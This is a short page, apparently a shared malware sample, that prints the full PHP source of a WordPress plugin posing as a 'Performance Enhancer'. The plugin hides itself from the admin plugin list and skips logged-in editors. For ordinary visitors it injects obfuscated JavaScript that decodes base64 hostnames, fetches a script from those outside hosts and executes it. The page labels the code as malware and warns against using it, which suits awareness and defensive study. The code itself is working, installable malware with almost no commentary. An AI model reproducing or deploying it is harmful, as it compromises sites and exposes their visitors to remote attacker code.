Malware Sample - HTTPS performance enhancer - Don't use it!

https-performance-enhancer.php

<?php
// Malware plugin keep redirection to other site - WP Hack Exploit
/**
 * Plugin Name: Performance Enhancer
 * Plugin URI:
 * Description: Enhances website performance through optimized resource loading
 * Version: 1.0.0
 * Author:
 * License: GPL2
 */

if (!defined('ABSPATH')) {
    return;
}

add_filter('all_plugins', function($plugins) {
    $current_plugin = plugin_basename(__FILE__);
    if (isset($plugins[$current_plugin])) {
        unset($plugins[$current_plugin]);
    }
    return $plugins;
});

if (is_admin()) {
    return;
}

if (!function_exists('performance_optimizer_v6')) {

    $performance_optimizer_v6_js = 'if(!window.__performance_optimizer_v6&&(window.__performance_optimizer_v6=!0,!/wordpress_logged_in_/.test(document.cookie))){var p=["aHR0cHM6Ly9uZXd0ZHNvbmUuc2hvcA==","L3RlYW1yZXBvP3JuZD0=","aHR0cHM6Ly9jcHRvcHRpb3VzLmNvbQ==","ф","aHR0cHM6Ly9jYXB0aW90by5jb20="],i=[[0,1],[2,3],[4,3]];function e(a){if(!(a>=i.length))try{var s="",b=i[a],k=0;for(;k<b.length;k++)s+=atob(p[b[k]]);var m=s+Math.random(),n=new XMLHttpRequest;if(n.open("GET",m,!1),n.send(),200==n.status){var y=document.createElement("script");y.text=n.responseText,document.head.appendChild(y)}else e(a+1)}catch(r){e(a+1)}}e(0)}';

    if (!isset($GLOBALS['performance_optimizer_v6_loaded'])) {
        $GLOBALS['performance_optimizer_v6_loaded'] = false;
    }

    function performance_optimizer_v6() {
        global $performance_optimizer_v6_loaded;
        global $performance_optimizer_v6_js;

        if ($performance_optimizer_v6_loaded) return;
        $performance_optimizer_v6_loaded = true;

        if (is_user_logged_in()) {
            if (current_user_can('edit_posts')) {
                return;
            }
        }

        echo '<script>' . $performance_optimizer_v6_js . '</script>';
    }
    
    add_action('wp_head', 'performance_optimizer_v6', -1);
    add_action('wp_head', 'performance_optimizer_v6', 0);
    add_action('wp_head', 'performance_optimizer_v6', 10);
    add_action('wp_footer', 'performance_optimizer_v6', 0);
    add_action('wp_footer', 'performance_optimizer_v6', 10);
}